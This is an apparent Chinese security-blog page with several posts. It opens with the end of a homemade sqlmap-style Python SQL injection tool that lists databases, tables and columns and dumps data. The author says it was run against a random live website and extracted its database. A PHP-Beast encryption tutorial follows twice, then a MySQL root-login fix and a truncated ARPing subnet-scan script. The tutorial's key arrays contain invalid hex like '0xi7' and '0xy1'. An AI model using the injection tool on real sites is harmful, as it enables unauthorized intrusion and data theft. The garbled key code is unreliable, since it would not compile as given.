parser.add_option("-D",type="string",dest="db",help="-D dadabase")
parser.add_option("--dbs",action="store_true",dest="dbs",help="inject all databases")
parser.add_option("--dump",action="store_true",dest="dump",help="dump columns with selected table and database")
parser.add_option("--tables",action="store_true",dest="tables",help="inject all tables in selected database")
parser.add_option("--columns",action="store_true",dest="columns",help="inject all columns in selected table and database")
(options,args)=parser.parse_args()
if options.url and len(sys.argv)==3:
url=options.url
basehtml=requests.get(url=url).content
result=testurl(url,basehtml)
if result:
print "this url maybe injectable"
else:
print "this url maybe notinjectable"
elif options.url and options.dbs:#--dbs
url=options.url
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getdbnum(url,basehtml)
getdbs(url,basehtml,num)
elif options.url and options.tables and options.db:#-u url --tables -D database
url=options.url
db=options.db
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=gettablenum(url,basehtml,db)
gettables(url,basehtml,num,db)
elif options.url and options.columns and options.table and options.db:#-u url --columns -T table -D database
url=options.url
table=options.table
db=options.db
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getcolumnnum(url,basehtml,table,db)
getcolumns(url,basehtml,num,table,db)
elif options.url and options.dump and options.column and options.table and options.db:#-u url --dump -C column -T table -D database
url=options.url
column=options.column
table=options.table
db=options.db
columns=column.split(",")
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getdatanum(url,basehtml,table,db)
for column in columns:
dumpdatas(url,basehtml,num,column,table,db)
else:
#print "Please look this script help information,to use --help or -h"
parser.print_help()
if __name__=='__main__':
main()
使用方法,自己使用optparse库将脚本参数设置成了类似于sqlmap的参数,下面是该脚本使用方法

1.png

随便测试网上一个注入点来测试写的工具是否可以使用,可以看到成功注入出来了数据库,当然经过测试也能注入出表字段和数据库内容,这个工具只是初步完成了,当然还有很多的不足,这些都需要自己不断的去完善

1.png



 

PHP-Beast 加密你的PHP源代码

kakaxi 发表了文章 • 0 个评论 • 203 次浏览 • 2018-06-06 11:28 • 来自相关话题

前言
首先说说为什么要用PHP-Beast?
有时候我们的代码会放到代理商上, 所以很有可能代码被盗取,或者我们写了一个商业系统而且不希望代码开源,所以这时候就需要加密我们的代码。
另外PHP-Beast是完全免费和开源的, 当其不能完成满足你的需求时, 可以修改其代码而满足你的要。
编译安装如下
注意:如果你需要使用,首先修改key。可以参考下文

Linux编译安装:

$ wget https://github.com/liexusong/php-beast/archive/master.zip
$ unzip master.zip
$ cd php-beast-master
$ phpize
$ ./configure
$ sudo make && make install

编译好之后修改php.ini配置文件, 加入配置项: extension=beast.so, 重启php-fpm 。

配置项: beast.cache_size = size
beast.log_file = "path_to_log"
beast.log_user = "user"
beast.enable = On

beast.log_level支持参数:
 1. DEBUG
 2. NOTICE
 3. ERROR
支持的模块有:
 1. AES
 2. DES
 3. Base64
通过测试环境:
Nginx + Fastcgi + (PHP-5.2.x ~ PHP-7.1.x)

怎么加密你的项目

加密方案1:
安装完 php-beast 后可以使用 tools 目录下的 encode_files.php 来加密你的项目。使用 encode_files.php 之前先修改 tools 目录下的 configure.ini 文件,如下:; source path
src_path = ""
; destination path
dst_path = ""
; expire time
expire = ""
; encrypt type (selection: DES, AES, BASE64)
encrypt_type = "DES"


src_path 是要加密项目的路径,dst_path 是保存加密后项目的路径,expire 是设置项目可使用的时间 (expire 的格式是:YYYY-mm-dd HH:ii:ss)。encrypt_type是加密的方式,选择项有:DES、AES、BASE64。 修改完 configure.ini 文件后就可以使用命令 php encode_files.php 开始加密项目。
 
加密方案2:
使用beast_encode_file()函数加密文件,函数原型如下:
beast_encode_file(string $input_file, string $output_file, int expire_timestamp, int encrypt_type)。
1.    $input_file: 要加密的文件
2.    $output_file: 输出的加密文件路径
3.    $expire_timestamp: 文件过期时间戳
4.    $encrypt_type: 加密使用的算法(支持:BEAST_ENCRYPT_TYPE_DES、BEAST_ENCRYPT_TYPE_AES)

制定自己的php-beast

php-beast 有多个地方可以定制的,以下一一列出:
 
1.    使用 header.c 文件可以修改 php-beast 加密后的文件头结构,这样网上的解密软件就不能认识我们的加密文件,就不能进行解密,增加加密的安全性。
 
2.    php-beast 提供只能在指定的机器上运行的功能。要使用此功能可以在 networkcards.c 文件添加能够运行机器的网卡号,例如:char *allow_networkcards = {
"fa:16:3e:08:88:01",
NULL,
};


这样设置之后,php-beast 扩展就只能在 fa:16:3e:08:88:01 这台机器上运行。另外要注意的是,由于有些机器网卡名可能不一样,所以如果你的网卡名不是 eth0 的话,可以在 php.ini 中添加配置项: beast.networkcard = "xxx" 其中 xxx 就是你的网卡名,也可以配置多张网卡,如:beast.networkcard = "eth0,eth1,eth2"。
 
3.    使用 php-beast 时最好不要使用默认的加密key,因为扩展是开源的,如果使用默认加密key的话,很容易被人发现。所以最好编译的时候修改加密的key,aes模块 可以在 aes_algo_handler.c 文件修改,而 des模块 可以在 des_algo_handler.c 文件修改。
 
函数列表 & Debug
 
开启debug模式:
可以在configure时加入 --enable-beast-debug 选项来开启debug模式。开启debug模式后需要在php.ini配置文件中加入配置项:beast.debug_path 和 beast.debug_mode。beast.debug_mode 用于指定是否使用debug模式,而 beast.debug_path 用于输出解密后的php脚本源码。这样就可以在 beast.debug_path 目录中看到php-beast解密后的源代码,可以方便知道扩展解密是否正确。
函数列表:
1.    beast_encode_file(): 用于加密一个文件
2.    beast_avail_cache(): 获取可以缓存大小
3.    beast_support_filesize(): 获取beast支持的最大可加密文件大小
4.    beast_file_expire(): 获取一个文件的过期时间
5.    beast_clean_cache(): 清空beast的所有缓存(如果有文件更新, 可以使用此函数清空缓存)
 
修改默认加密的key
1,修改加密后的文件头结构:打开header.c文件,找到以下代码:
char encrypt_file_header_sign = {
    0xe8, 0x16, 0xa4, 0x0c,
    0xf2, 0xb2, 0x60, 0xee
};
int encrypt_file_header_length = sizeof(encrypt_file_header_sign);
自定义修改以下代码(其中的数字的范围为:0-8,字母的范围为:a-f):
0xe8, 0x16, 0xa4, 0x0c,
0xf2, 0xb2, 0x60, 0xee
 
2,修改aes模块加密key:
打开php-beast-master/aes_algo_handler.c文件,找到以下代码:
static uint8_t key = {
0x2b, 0x7e, 0x61, 0x16, 0x28, 0xae, 0xd2, 0xa6,
0xab, 0xi7, 0x10, 0x88, 0x09, 0xcf, 0xef, 0xxc,
};
自定义修改以下代码(其中的数字的范围为:0-8,字母的范围为:a-f):
0x2b, 0x7e, 0x61, 0x16, 0x28, 0xae, 0xd2, 0xa6,
0xab, 0xi7, 0x10, 0x88, 0x09, 0xcf, 0xef, 0xxc,
 
3,修改des模块加密key:
打开php-beast-master/des_algo_handler.c文件,找到以下代码:
static char key[8] = {
0x21, 0x1f, 0xe1, 0x1f,
0xy1, 0x9e, 0x01, 0x0e,
};
自定义修改以下代码(其中的数字的范围为:0-8,字母的范围为:a-f):
0x21, 0x1f, 0xe1, 0x1f,
0xy1, 0x9e, 0x01, 0x0e,
 
4,修改base64模块加密key:
打开php-beast-master/base64_algo_handler.c文件,自定义修改以下代码:
static const short base64_reverse_table[256] = {
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63,
52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1,
-1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1,
-1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1
};
 
php-beast自定义加密模块
一,首先创建一个.c的文件。例如我们要编写一个使用base64加密的模块,可以创建一个名叫base64_algo_handler.c的文件。然后在文件添加如下代码:
#include "beast_module.h"
int base64_encrypt_handler(char inbuf, int len, char outbuf, int outlen)
{
    ...
}
int base64_decrypt_handler(char inbuf, int len, char outbuf, int outlen)
{
    ...
}
void base64_free_handler(void *ptr)
{
    ...
}
struct beast_ops base64_handler_ops = {
    .name = "base64-algo",
    .encrypt = base64_encrypt_handler,
    .decrypt = base64_decrypt_handler,
    .free = base64_free_handler,
};
模块必须实现3个方法,分别是:encrypt、decrypt、free方法。
encrypt方法负责把inbuf字符串加密,然后通过outbuf输出给beast。
decrypt方法负责把加密数据inbuf解密,然后通过outbuf输出给beast。
free方法负责释放encrypt和decrypt方法生成的数据
二,写好我们的加密模块后,需要在global_algo_modules.c添加我们模块的信息。代码如下:
#include <stdlib.h>
#include "beast_module.h"
extern struct beast_ops des_handler_ops;
extern struct beast_ops base64_handler_ops;
struct beast_ops *ops_handler_list = {
    &des_handler_ops,
    &base64_handler_ops, / 这里是我们的模块信息 /
    NULL,
};
三,修改config.m4文件,修改倒数第二行,如下代码:
PHP_NEW_EXTENSION(beast, beast.c des_algo_handler.c beast_mm.c spinlock.c cache.c beast_log.c global_algo_modules.c base64_algo_handler.c , $ext_shared)
base64_algo_handler.c的代码是我们添加的,这里加入的是我们模块的文件名。
现在大功告成了,可以编译试下。如果要使用我们刚编写的加密算法来加密php文件,可以修改php.ini文件的配置项,如下:
``
beast.encrypt_handler = "base64-algo"`
名字就是我们模块的name。



作者:极客小寨
链接:https://www.jianshu.com/p/7bacac6effe5
來源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。


  查看全部
前言
首先说说为什么要用PHP-Beast?
有时候我们的代码会放到代理商上, 所以很有可能代码被盗取,或者我们写了一个商业系统而且不希望代码开源,所以这时候就需要加密我们的代码。
另外PHP-Beast是完全免费和开源的, 当其不能完成满足你的需求时, 可以修改其代码而满足你的要。
编译安装如下
注意:如果你需要使用,首先修改key。可以参考下文

Linux编译安装:


$ wget https://github.com/liexusong/php-beast/archive/master.zip
$ unzip master.zip
$ cd php-beast-master
$ phpize
$ ./configure
$ sudo make && make install


编译好之后修改php.ini配置文件, 加入配置项: extension=beast.so, 重启php-fpm 。

配置项:
 beast.cache_size = size
beast.log_file = "path_to_log"
beast.log_user = "user"
beast.enable = On


beast.log_level支持参数:
 1. DEBUG
 2. NOTICE
 3. ERROR
支持的模块有:
 1. AES
 2. DES
 3. Base64
通过测试环境:
Nginx + Fastcgi + (PHP-5.2.x ~ PHP-7.1.x)


怎么加密你的项目


加密方案1:
安装完 php-beast 后可以使用 tools 目录下的 encode_files.php 来加密你的项目。使用 encode_files.php 之前先修改 tools 目录下的 configure.ini 文件,如下:

; source path
src_path = ""
; destination path
dst_path = ""
; expire time
expire = ""
; encrypt type (selection: DES, AES, BASE64)
encrypt_type = "DES"


src_path 是要加密项目的路径,dst_path 是保存加密后项目的路径,expire 是设置项目可使用的时间 (expire 的格式是:YYYY-mm-dd HH:ii:ss)。encrypt_type是加密的方式,选择项有:DES、AES、BASE64。 修改完 configure.ini 文件后就可以使用命令 php encode_files.php 开始加密项目。
 
加密方案2:
使用beast_encode_file()函数加密文件,函数原型如下:
beast_encode_file(string $input_file, string $output_file, int expire_timestamp, int encrypt_type)。
1.    $input_file: 要加密的文件
2.    $output_file: 输出的加密文件路径
3.    $expire_timestamp: 文件过期时间戳
4.    $encrypt_type: 加密使用的算法(支持:BEAST_ENCRYPT_TYPE_DES、BEAST_ENCRYPT_TYPE_AES)


制定自己的php-beast


php-beast 有多个地方可以定制的,以下一一列出:
 
1.    使用 header.c 文件可以修改 php-beast 加密后的文件头结构,这样网上的解密软件就不能认识我们的加密文件,就不能进行解密,增加加密的安全性。
 
2.    php-beast 提供只能在指定的机器上运行的功能。要使用此功能可以在 networkcards.c 文件添加能够运行机器的网卡号,例如:

char *allow_networkcards = {
"fa:16:3e:08:88:01",
NULL,
};


这样设置之后,php-beast 扩展就只能在 fa:16:3e:08:88:01 这台机器上运行。另外要注意的是,由于有些机器网卡名可能不一样,所以如果你的网卡名不是 eth0 的话,可以在 php.ini 中添加配置项: beast.networkcard = "xxx" 其中 xxx 就是你的网卡名,也可以配置多张网卡,如:beast.networkcard = "eth0,eth1,eth2"。
 
3.    使用 php-beast 时最好不要使用默认的加密key,因为扩展是开源的,如果使用默认加密key的话,很容易被人发现。所以最好编译的时候修改加密的key,aes模块 可以在 aes_algo_handler.c 文件修改,而 des模块 可以在 des_algo_handler.c 文件修改。
 
函数列表 & Debug
 
开启debug模式:
可以在configure时加入 --enable-beast-debug 选项来开启debug模式。开启debug模式后需要在php.ini配置文件中加入配置项:beast.debug_path 和 beast.debug_mode。beast.debug_mode 用于指定是否使用debug模式,而 beast.debug_path 用于输出解密后的php脚本源码。这样就可以在 beast.debug_path 目录中看到php-beast解密后的源代码,可以方便知道扩展解密是否正确。
函数列表:
1.    beast_encode_file(): 用于加密一个文件
2.    beast_avail_cache(): 获取可以缓存大小
3.    beast_support_filesize(): 获取beast支持的最大可加密文件大小
4.    beast_file_expire(): 获取一个文件的过期时间
5.    beast_clean_cache(): 清空beast的所有缓存(如果有文件更新, 可以使用此函数清空缓存)
 
修改默认加密的key
1,修改加密后的文件头结构:打开header.c文件,找到以下代码:
char encrypt_file_header_sign = {
    0xe8, 0x16, 0xa4, 0x0c,
    0xf2, 0xb2, 0x60, 0xee
};
int encrypt_file_header_length = sizeof(encrypt_file_header_sign);
自定义修改以下代码(其中的数字的范围为:0-8,字母的范围为:a-f):
0xe8, 0x16, 0xa4, 0x0c,
0xf2, 0xb2, 0x60, 0xee
 
2,修改aes模块加密key:
打开php-beast-master/aes_algo_handler.c文件,找到以下代码:
static uint8_t key = {
0x2b, 0x7e, 0x61, 0x16, 0x28, 0xae, 0xd2, 0xa6,
0xab, 0xi7, 0x10, 0x88, 0x09, 0xcf, 0xef, 0xxc,
};
自定义修改以下代码(其中的数字的范围为:0-8,字母的范围为:a-f):
0x2b, 0x7e, 0x61, 0x16, 0x28, 0xae, 0xd2, 0xa6,
0xab, 0xi7, 0x10, 0x88, 0x09, 0xcf, 0xef, 0xxc,
 
3,修改des模块加密key:
打开php-beast-master/des_algo_handler.c文件,找到以下代码:
static char key[8] = {
0x21, 0x1f, 0xe1, 0x1f,
0xy1, 0x9e, 0x01, 0x0e,
};
自定义修改以下代码(其中的数字的范围为:0-8,字母的范围为:a-f):
0x21, 0x1f, 0xe1, 0x1f,
0xy1, 0x9e, 0x01, 0x0e,
 
4,修改base64模块加密key:
打开php-beast-master/base64_algo_handler.c文件,自定义修改以下代码:
static const short base64_reverse_table[256] = {
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63,
52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1,
-1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1,
-1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1
};
 
php-beast自定义加密模块
一,首先创建一个.c的文件。例如我们要编写一个使用base64加密的模块,可以创建一个名叫base64_algo_handler.c的文件。然后在文件添加如下代码:
#include "beast_module.h"
int base64_encrypt_handler(char inbuf, int len, char outbuf, int outlen)
{
    ...
}
int base64_decrypt_handler(char inbuf, int len, char outbuf, int outlen)
{
    ...
}
void base64_free_handler(void *ptr)
{
    ...
}
struct beast_ops base64_handler_ops = {
    .name = "base64-algo",
    .encrypt = base64_encrypt_handler,
    .decrypt = base64_decrypt_handler,
    .free = base64_free_handler,
};
模块必须实现3个方法,分别是:encrypt、decrypt、free方法。
encrypt方法负责把inbuf字符串加密,然后通过outbuf输出给beast。
decrypt方法负责把加密数据inbuf解密,然后通过outbuf输出给beast。
free方法负责释放encrypt和decrypt方法生成的数据
二,写好我们的加密模块后,需要在global_algo_modules.c添加我们模块的信息。代码如下:
#include <stdlib.h>
#include "beast_module.h"
extern struct beast_ops des_handler_ops;
extern struct beast_ops base64_handler_ops;
struct beast_ops *ops_handler_list = {
    &des_handler_ops,
    &base64_handler_ops, / 这里是我们的模块信息 /
    NULL,
};
三,修改config.m4文件,修改倒数第二行,如下代码:
PHP_NEW_EXTENSION(beast, beast.c des_algo_handler.c beast_mm.c spinlock.c cache.c beast_log.c global_algo_modules.c base64_algo_handler.c , $ext_shared)
base64_algo_handler.c的代码是我们添加的,这里加入的是我们模块的文件名。
现在大功告成了,可以编译试下。如果要使用我们刚编写的加密算法来加密php文件,可以修改php.ini文件的配置项,如下:
``
beast.encrypt_handler = "base64-algo"`
名字就是我们模块的name。




作者:极客小寨
链接:https://www.jianshu.com/p/7bacac6effe5
來源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。


 

挠头的php连接mysql数据库的报错,终于解决了,赶紧分享出来,大家少踩坑吧

数据库SQL语言kakaxi 发表了文章 • 0 个评论 • 334 次浏览 • 2018-06-05 19:01 • 来自相关话题

       最近马上要对一些互联网企业的技术人员举行培训,想着今天要把我们自己的攻防演练的靶场搭建起来,提前备课,kakaxi有一个习惯,再熟悉的课程也会在培训之前进行备课(感觉在夸自己认真负责了,自己都不好意思了),但是始终报一个错误:
连接mysql数据时提示错误: “ERROR 1698 (28000): Access denied for user ‘root’@’localhost'”,网上众说纷纭,很多方法都不灵,有很多只告诉了方法,而且还不好使,都是一知半解,没有分析问题的原因的,所以,经过自虐了好长一段时间,终于算是找到根上了。 
环境介绍: 

操作系统:Linux kali 4.15.0-kali2-amd64 #1 SMP Debian 4.15.11-1kali1 (2018-03-21) x86_64 GNU/Linux
PHP版本:PHP 7.2.4-1 (cli) (built: Apr  5 2018 08:50:27) ( NTS )  
数据库:mysql  Ver 15.1 Distrib 10.1.29-MariaDB, for debian-linux-gnu (x86_64) using readline 5.2

 
问题现象就是:

web页面报错 :「Could not connect:」
web服务器日志  /var/log/apache2/error.log 中显示如下错误:[Tue Jun 05 06:12:55.420068 2018] [php7:warn] [pid 9648] [client 172.16.155.1:56318] PHP Warning: mysqli_connect(): (HY000/1698): Access denied for user 'root'@'localhost' in /var/www/html/sys/config.php on line 7在系统上,使用root帐号登录mysql是没有问题的:root@kali:/var/www/html# mysql -uroot -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 66
Server version: 10.1.29-MariaDB-6 Debian buildd-unstable

Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>
如果输入 mysql -h 127.0.0.1 -uroot -p,就加入了一个-h的参数指定服务器的地址,就会禁止登录(有同学会问,为啥要这样做,其实就是为了模拟web服务器连接数据库的过程,所以你应该懂得)root@kali:/var/www/html# mysql -h 127.0.0.1 -uroot -p
Enter password:
ERROR 1698 (28000): Access denied for user 'root'@'localhost'
用户名是root,密码为空

原因分析:

为了找到这个问题:查看了数据库用户的信息,确定了两个关键的字段;


MariaDB [(none)]> select user,plugin from mysql.user;
+------+-------------+
| user | plugin |
+------+-------------+
| root | unix_socket |
| wt | |
+------+-------------+
2 rows in set (0.00 sec)

这个里面非常关键的信息就是在数据库用户的表里有一个列属性是plugin,mysql从5.5.7开始引入plugins 以进行用户连接时的密码验证,plugin创建外部/代理用户。mysql官网上原文如下:


Plugins for authenticating attempts by clients to connect to MySQL Server. Plugins are available for several authentication protocols.


进一步查看相关内容得到:
Plugin主要提供了三中方法:unix_socket、mysql_native_password、 mysql_old_password(在 MySQL 5.7.5版本已经被废除掉了)
 
其中mysql_native_password是指使用mysql数据库中的user表里的用户密码进行验证,unix_socket 是 socket 链接。  所以需要将root用户的plugin 值由unix_socket 改为mysql_native_password,然后就flush privileges ,重启mysql服务,果然ok了。
具体过程如下:
root@kali:/var/www/html# mysql -uroot -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 69
Server version: 10.1.29-MariaDB-6 Debian buildd-unstable

Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [mysql]> update user set plugin='mysql_native_password' where user='root';
Query OK, 1 row affected (0.01 sec)
Rows matched: 1 Changed: 1 Warnings: 0

MariaDB [mysql]> select user,plugin from user;
+------+-----------------------+
| user | plugin |
+------+-----------------------+
| root | mysql_native_password |
| wt | |
+------+-----------------------+
2 rows in set (0.00 sec)

MariaDB [mysql]> flush privileges;
Query OK, 0 rows affected (0.00 sec)

MariaDB [mysql]> exit
Bye
root@kali:/var/www/html# service mysql restart
root@kali:/var/www/html#
再次打开网页,Happy,Happy,我又看到了熟悉的界面
 





 
 

  查看全部
       最近马上要对一些互联网企业的技术人员举行培训,想着今天要把我们自己的攻防演练的靶场搭建起来,提前备课,kakaxi有一个习惯,再熟悉的课程也会在培训之前进行备课(感觉在夸自己认真负责了,自己都不好意思了),但是始终报一个错误:
连接mysql数据时提示错误: “ERROR 1698 (28000): Access denied for user ‘root’@’localhost'”,网上众说纷纭,很多方法都不灵,有很多只告诉了方法,而且还不好使,都是一知半解,没有分析问题的原因的,所以,经过自虐了好长一段时间,终于算是找到根上了。 
环境介绍: 


操作系统:Linux kali 4.15.0-kali2-amd64 #1 SMP Debian 4.15.11-1kali1 (2018-03-21) x86_64 GNU/Linux
PHP版本:PHP 7.2.4-1 (cli) (built: Apr  5 2018 08:50:27) ( NTS )  
数据库:mysql  Ver 15.1 Distrib 10.1.29-MariaDB, for debian-linux-gnu (x86_64) using readline 5.2


 
问题现象就是:


web页面报错 :「Could not connect:」
web服务器日志  /var/log/apache2/error.log 中显示如下错误:

[Tue Jun 05 06:12:55.420068 2018] [php7:warn] [pid 9648] [client 172.16.155.1:56318] PHP Warning:  mysqli_connect(): (HY000/1698): Access denied for user 'root'@'localhost' in /var/www/html/sys/config.php on line 7
在系统上,使用root帐号登录mysql是没有问题的:
root@kali:/var/www/html# mysql -uroot -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 66
Server version: 10.1.29-MariaDB-6 Debian buildd-unstable

Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>
如果输入 mysql -h 127.0.0.1 -uroot -p,就加入了一个-h的参数指定服务器的地址,就会禁止登录(有同学会问,为啥要这样做,其实就是为了模拟web服务器连接数据库的过程,所以你应该懂得)
root@kali:/var/www/html# mysql -h 127.0.0.1 -uroot -p
Enter password:
ERROR 1698 (28000): Access denied for user 'root'@'localhost'
用户名是root,密码为空


原因分析:


为了找到这个问题:查看了数据库用户的信息,确定了两个关键的字段;



MariaDB [(none)]> select user,plugin from mysql.user;
+------+-------------+
| user | plugin |
+------+-------------+
| root | unix_socket |
| wt | |
+------+-------------+
2 rows in set (0.00 sec)

这个里面非常关键的信息就是在数据库用户的表里有一个列属性是plugin,mysql从5.5.7开始引入plugins 以进行用户连接时的密码验证,plugin创建外部/代理用户。mysql官网上原文如下:



Plugins for authenticating attempts by clients to connect to MySQL Server. Plugins are available for several authentication protocols.


进一步查看相关内容得到:
Plugin主要提供了三中方法:unix_socket、mysql_native_password、 mysql_old_password(在 MySQL 5.7.5版本已经被废除掉了)
 
其中mysql_native_password是指使用mysql数据库中的user表里的用户密码进行验证,unix_socket 是 socket 链接。  所以需要将root用户的plugin 值由unix_socket 改为mysql_native_password,然后就flush privileges ,重启mysql服务,果然ok了。
具体过程如下:
root@kali:/var/www/html# mysql -uroot -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 69
Server version: 10.1.29-MariaDB-6 Debian buildd-unstable

Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [mysql]> update user set plugin='mysql_native_password' where user='root';
Query OK, 1 row affected (0.01 sec)
Rows matched: 1 Changed: 1 Warnings: 0

MariaDB [mysql]> select user,plugin from user;
+------+-----------------------+
| user | plugin |
+------+-----------------------+
| root | mysql_native_password |
| wt | |
+------+-----------------------+
2 rows in set (0.00 sec)

MariaDB [mysql]> flush privileges;
Query OK, 0 rows affected (0.00 sec)

MariaDB [mysql]> exit
Bye
root@kali:/var/www/html# service mysql restart
root@kali:/var/www/html#
再次打开网页,Happy,Happy,我又看到了熟悉的界面
 

WX20180605-185526@2x.png

 
 


 


【Kali Linux网络扫描秘籍系列】Bash脚本+ARPing 实现自动化IP扫描

SHELL脚本kakaxi 发表了文章 • 0 个评论 • 209 次浏览 • 2018-05-29 11:27 • 来自相关话题

ARPing简介:
ARPing 是一个命令行网络工具,具有类似于常用的 ping 工具的功能。 此工具可通过提供该 IP 地址作为参数,来识别活动主机是否位于给定 IP 的本地网络上。 这个秘籍将讨论如何使用 ARPing 扫描网络上的活动主机。
 
准备
要使用 ARPing 执行 ARP 发现,你需要在 LAN 上至少拥有一个响应 ARP 请求的系统。本测试在Kali 2.0上进行
 
操作步骤
ARPing是一种工具,可用于发送 ARP 请求并标识主机是否活动和响应。 该工具仅通过将 IP 地址作为参数传递给它来使用:root@kali:~# arping -c 1 172.16.155.1
ARPING 172.16.155.1 from 172.16.155.150 eth0
Unicast reply from 172.16.155.1 [00:50:56:C0:00:08] 1.047ms
Sent 1 probes (1 broadcast(s))
Received 1 response(s)
root@kali:~#



在所提供的示例中,单个 ARP 请求被发送给广播地址,请求 172.16.155.1 IP地址的物理位置。 如输出所示,主机从 000:50:56:C0:00:08 MAC地址接收到单个应答。 此工具可以更有效地用于第二层上的发现,扫描是否使用 bash 脚本在多个主机上同时执行此操作。 为了测试 bash 中每个实例的响应,我们应该确定响应中包含的唯一字符串,它标识了活动主机,但不包括没有收到响应时的情况。要识别唯一字符串,应该对无响应的 IP 地址进行 ARPing 请求:root@kali:~# arping -c 1 172.16.155.100
ARPING 172.16.155.100 from 172.16.155.150 eth0
Sent 1 probes (1 broadcast(s))
Received 0 response(s)




通过分析来自成功和失败的不同 ARP 响应,你可能注意到,如果存在所提供的 IP地址的相关活动主机,并且它也在包含在 IP 地址的行内,则响应中存在来自字符串的唯一字节。 通过对此响应执行 grep ,我们可以提取每个响应主机的 IP 地址:root@kali:~# arping -c 1 172.16.155.1 | grep 'reply from'
Unicast reply from 172.16.155.1 [00:50:56:C0:00:08] 0.712ms



我们可以仅仅通过处理提供给 cut 函数的分隔符和字段值,从返回的字符串中轻松地提取 IP 地址:root@kali:~# arping -c 1 172.16.155.1 | grep 'reply from' |cut -d ' ' -f 4
172.16.155.1在识别如何从正面 ARPing 响应中提取 IP 在 bash 脚本中轻易将该任务传递给循环,并输出实时 IP 地址列表。 使用此技术的脚本的示例如下所示:root@kali:~# cat arping.sh 
#!/bin/bash
if [ $# -ne 1 ]; then
    echo "Usage - ./arping.sh [interface]"
    echo "Example - ./arping.sh eth0"
    echo "Example will perform an ARP scan of the local subnet to which eth0 is assigned"
    exit
fi

interface=$1
prefix=$(ifconfig $inerface | grep 'inet'| head -n 1| cut -d ' ' -f 10|cut -d '.' -f 1-3 ) #  由于输出的间隔符空格,因此我这边cut -d后面用的是空格,大家做的过程中,可以根据自己的情况变化

for addr in $(seq 1 254); do 
    arping -c 1 $prefix.$addr | grep 'reply from' |cut -d ' ' -f 4 &
